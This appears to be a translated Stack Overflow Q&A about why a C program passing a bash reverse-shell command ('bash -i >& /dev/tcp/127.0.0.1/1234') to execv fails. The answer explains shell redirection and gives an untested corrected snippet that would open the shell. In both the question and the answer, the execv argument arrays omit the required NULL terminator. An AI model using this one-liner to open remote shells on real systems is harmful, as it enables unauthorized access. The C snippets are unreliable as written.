c - bash -i >&/dev/tcp/127.0.0.1/1234 0>&1

标签 c linux bash gcc shellcode

我知道上面标题的某些部分已经被问过,但我仍然有一些困惑。实际上,我并没有真正理解 bash -i >&/dev/tcp/127.0.0.1/1234 0>&1 中的 ">&" 我的主要目标是编译以下代码:

 *#include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 int main(){
 char *prog = "/bin/bash";
 /*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
 char *args[5] = {"/bin/bash", "-i",  ">&", "/dev/tcp/127.0.0.1  /1234","0>&1"};

execv(prog, args);
return 0;
}

它被编译,但是当我执行相应的二进制文件时,它返回以下错误: bash: >&: 没有这样的文件或目录

任何解释都将非常感激;)!

最佳答案

当你运行时:

bash -i >& /dev/tcp/127.0.0.1/1234 0>&1

在命令提示符下,您当前的 shell(显示提示并等待命令的 shell)会解释重定向。

当您使用 exec*() 之一运行外部程序时函数中没有 shell 来解析命令行并解释重定向。 execv() 启动 bash,并将命令行的其余部分作为参数。

bash的命令行是:

bash options file

其中选项以破折号 (-) 开头。

它可能会成功解释 -i ,因为 >& 不是以破折号(-)开头,它认为它是一个文件名。它找不到这样的文件,报告错误">&:没有这样的文件或目录"并退出。

您应该使用 system()启动 shell 并为其提供整个命令行,或 popen() (它还允许您在新进程启动后将一些输入传递给它)。

这两个函数都会创建一个新进程。由于您的原始代码使用 execv()exec*() 函数用新进程替换当前正在运行的进程,因此您可能应该 exit() 启动新进程后获取当前行为。


使用 execv() 启动以下命令也可能会产生您期望的结果(我没有测试):

bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"

在 C 中:

char *prog = "/bin/bash";
char *args[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"};
execv(prog, args);

关于c - bash -i >&/dev/tcp/127.0.0.1/1234 0>&1,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36022331/

相关文章:

linux - 如何在bash中逐列组合两个变量

Linux $[ $RANDOM % 6 ] == 0 ]

bash - 对于带空格键的文件,重命名命令不会在两步命令中重命名(mac 终端)

c - 不懂C程序

C 警告 : Function returns address of local variable

mysql - 安装 MySQL 后无法通过 SSH 连接到 Google Cloud VM

c++ - 使用 C++ 在 Linux 中管理进程

c - 如何将函数内printf的输出获取到c中的主程序

c - 将新分支添加到树中,然后以有效的方式将新叶子添加到链表中的正确位置

bash - 自定义 docker 容器 bash